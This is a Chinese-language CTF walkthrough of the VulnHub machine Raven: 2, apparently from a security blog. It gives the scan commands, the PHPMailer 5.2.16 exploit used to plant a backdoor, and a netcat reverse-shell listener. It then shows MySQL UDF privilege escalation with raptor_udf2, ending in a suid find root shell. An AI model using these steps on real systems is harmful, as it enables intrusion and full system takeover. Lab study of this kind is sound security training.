Raven: 2(第三方漏洞getshell,linux数据库udf提权)

靶机下载地址 https://www.vulnhub.com/entry/raven-2,269/
环境:攻击机kali:192.168.200.133

过程:

探针IP及端口
利用漏洞获取web权限
信息收集
查看数据库配置文件得到数据库root
利用Mysql提权Linux(Mysql 版本区别同 Windows)

探针IP及端口

nmap 192.168.200.0/24

得知目标ip192.168.200.144
继续扫端口,扫出了22、80、111、47739

nmap -p 1-65535 192.168.200.144

80是有个web服务,上去看一下没啥用。

用dirb对它进行目录扫描(看别人的wp提前知道切入点在vendor目录,用了好多工具竟然只有dirb和gobuster扫出来了。气死我了)
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt

dirb http://192.168.200.144

好恐怖啊。。。还是下面那个清爽
Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第1张图片

gobuster

gobuster dir -u http://192.168.200.144 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html .php

Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第2张图片

来到vendor,是个目录遍历。PATH中有第一个flag和网站的绝对路径。phpmailer是关键,VERSION中发现版本号5.2.16

Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第3张图片
——————————————————————————————————————
Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第4张图片

利用漏洞获取web权限

搜索相关漏洞利用一波。这里选择40974.py
Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第5张图片
复制到当前目录: searchsploit -m 40974.py -m
复制到root(随意)目录: cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

进exp修改几处地方,依次是目标ip(contact.php要加着)、后门名字、监听端ip、监听端口、我们刚刚得到的绝对路径
Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第6张图片执行exp: python3 40974.py
监听端口:nc -lvnp 4444 ,浏览器访问后门,成功监听到会话
Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第7张图片
python创建交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

find命令找一下flag: find / -name "flag*",找到flag2和flag3

信息收集

写入后门利用菜刀连接方便操作:echo '' >1.php
上传信息收集脚本LinEnum.sh进行提权信息收集

查看数据库配置文件得到数据库root

在wordpress目录下的wp-config.php文件中能得到mysql的用户名root和密码R@v3nSecurity,查看mysql的版本发现是5.5.60

登录一下mysql的root,这里蚁剑竟然连不上气死我了,只好在shell那里mysql -u root -p然后输密码登了

思考:为什么需要数据库root?因为本身权限不够干后文中移动文件等事情,需要利用mysql的root

利用Mysql提权Linux(Mysql 版本区别同 Windows)

这里我们选择1518.c
Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第8张图片
上面一样的方法下载exp,不多讲了

先使用下列命令在本地生成111.so文件

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 111.so 1518.o -lc

然后把111.so下载到靶机上,方法比较多了,这里不赘述

然后在mysql中开始我们的表演
进入数据库进行 UDF 导出

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so'));   //上传到哪就写哪
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so';   //这个和上一行不是一个路径嗷,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function do_system returns integer soname '111.so';     //创建 do_system 函数调用
select do_system('chmod u+s /usr/bin/find');     //给find命令赋予suid权限

exit退出mysql,配合使用 find 调用执行find . -exec /bin/sh \; 成功!!
Raven: 2(第三方漏洞getshell,linux数据库udf提权)_第9张图片

退出mysql后的另一种提权方法(没试验):

touch 本来的用户名
find 本来的用户名 –exec "whoami" \;
find 本来的用户名 –exec "/bin/sh" \;

flag4就在root目录下

你可能感兴趣的:(vulnhub,wp,安全)